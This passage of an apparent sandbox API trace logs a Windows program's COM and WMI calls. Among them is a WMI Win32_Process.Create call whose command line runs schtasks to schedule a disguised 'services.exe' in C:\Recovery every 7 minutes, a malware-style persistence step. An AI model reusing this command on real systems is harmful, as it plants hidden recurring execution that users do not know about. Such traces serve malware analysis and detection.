[1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f1a20) returned 0x0 [0059.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f1a20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.252] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f1a20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0770) returned 0x0 [0059.252] WbemDefPath:IUnknown:Release (This=0x11f1a20) returned 0x0 [0059.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0770) returned 0x0 [0059.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.252] WbemDefPath:IUnknown:AddRef (This=0x1bea0770) returned 0x3 [0059.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f1a60) returned 0x0 [0059.252] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f1a60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.252] WbemDefPath:IUnknown:Release (This=0x11f1a60) returned 0x3 [0059.253] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.253] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.253] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x2 [0059.253] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x1 [0059.253] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.253] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.253] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0770) returned 0x0 [0059.253] WbemDefPath:IUnknown:AddRef (This=0x1bea0770) returned 0x3 [0059.253] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x2 [0059.253] WbemDefPath:IWbemPath:SetText (This=0x1bea0770, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea06b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0770, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0770, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0770, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0059.253] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea06b0) returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0770, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0059.253] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0059.253] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea06b0, uIndex=0x0, pszName="root") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0770, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0059.254] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea06b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0770, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea0770, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea06b0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea06b0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea06b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea06b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0059.254] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0059.255] IWbemServices:GetObject (in: This=0x1bea6480, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1beb91a0, ppCallResult=0x0) returned 0x0 [0059.258] IWbemClassObject:GetMethod (in: This=0x1beb91a0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1beb9510, ppOutSignature=0x1b2fd9e0*=0x1beb9880) returned 0x0 [0059.258] IWbemClassObject:SpawnInstance (in: This=0x1beb9510, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x11f2d10) returned 0x0 [0059.259] IWbemClassObject:Get (in: This=0x11f2d10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a272e8*=0, plFlavor=0x2a272ec*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a272e8*=8, plFlavor=0x2a272ec*=32) returned 0x0 [0059.259] IWbemClassObject:Get (in: This=0x11f2d10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a272e8*=8, plFlavor=0x2a272ec*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a272e8*=8, plFlavor=0x2a272ec*=32) returned 0x0 [0059.259] IWbemClassObject:Put (This=0x11f2d10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0059.259] IWbemClassObject:Get (in: This=0x11f2d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a27378*=0, plFlavor=0x2a2737c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a27378*=13, plFlavor=0x2a2737c*=32) returned 0x0 [0059.259] IWbemClassObject:Get (in: This=0x11f2d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a27378*=13, plFlavor=0x2a2737c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a27378*=13, plFlavor=0x2a2737c*=32) returned 0x0 [0059.259] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11f2630) returned 0x0 [0059.259] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0059.259] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0059.260] IUnknown:AddRef (This=0x11f2630) returned 0x3 [0059.260] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0059.260] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0059.260] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11f2638) returned 0x0 [0059.260] IMarshal:GetUnmarshalClass (in: This=0x11f2638, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0059.260] IUnknown:Release (This=0x11f2638) returned 0x3 [0059.260] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0059.260] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0059.260] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0059.260] IUnknown:Release (This=0x11f2630) returned 0x2 [0059.260] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0059.260] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0059.260] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0059.261] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0059.261] IUnknown:QueryInterface (in: This=0x11f2630, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0059.261] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0059.261] IUnknown:AddRef (This=0x11f2630) returned 0x3 [0059.261] IWbemClassObject:Put (This=0x11f2d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11f2630, varVal2=0x0), Type=0) returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea03b0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0059.261] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0059.262] IWbemServices:ExecMethod (in: This=0x1bea6480, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x11f2d10, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x11f1110, ppCallResult=0x0) returned 0x0 [0059.385] IWbemClassObject:Get (in: This=0x11f1110, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a27690*=0, plFlavor=0x2a27694*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xee8, varVal2=0x0), pType=0x2a27690*=19, plFlavor=0x2a27694*=0) returned 0x0 [0059.386] IWbemClassObject:Get (in: This=0x11f1110, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a27690*=19, plFlavor=0x2a27694*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xee8, varVal2=0x0), pType=0x2a27690*=19, plFlavor=0x2a27694*=0) returned 0x0 [0059.386] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0059.387] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0059.387] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0059.387] IUnknown:Release (This=0x111f638) returned 0x1 [0059.389] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1beaa130) returned 0x0 [0059.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beaa130, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0059.390] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beaa130, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea0830) returned 0x0 [0059.390] WbemDefPath:IUnknown:Release (This=0x1beaa130) returned 0x0 [0059.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea0830) returned 0x0 [0059.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0059.390] WbemDefPath:IUnknown:AddRef (This=0x1bea0830) returned 0x3 [0059.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0059.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0059.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1beaa170) returned 0x0 [0059.390] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beaa170, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.390] WbemDefPath:IUnknown:Release (This=0x1beaa170) returned 0x3 [0059.390] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0059.391] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0059.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0059.391] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x2 [0059.391] WbemDefPath:IUnknown:Release (This=0x1bea0830) returned 0x1 [0059.391] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0059.391] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0059.391] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0830, 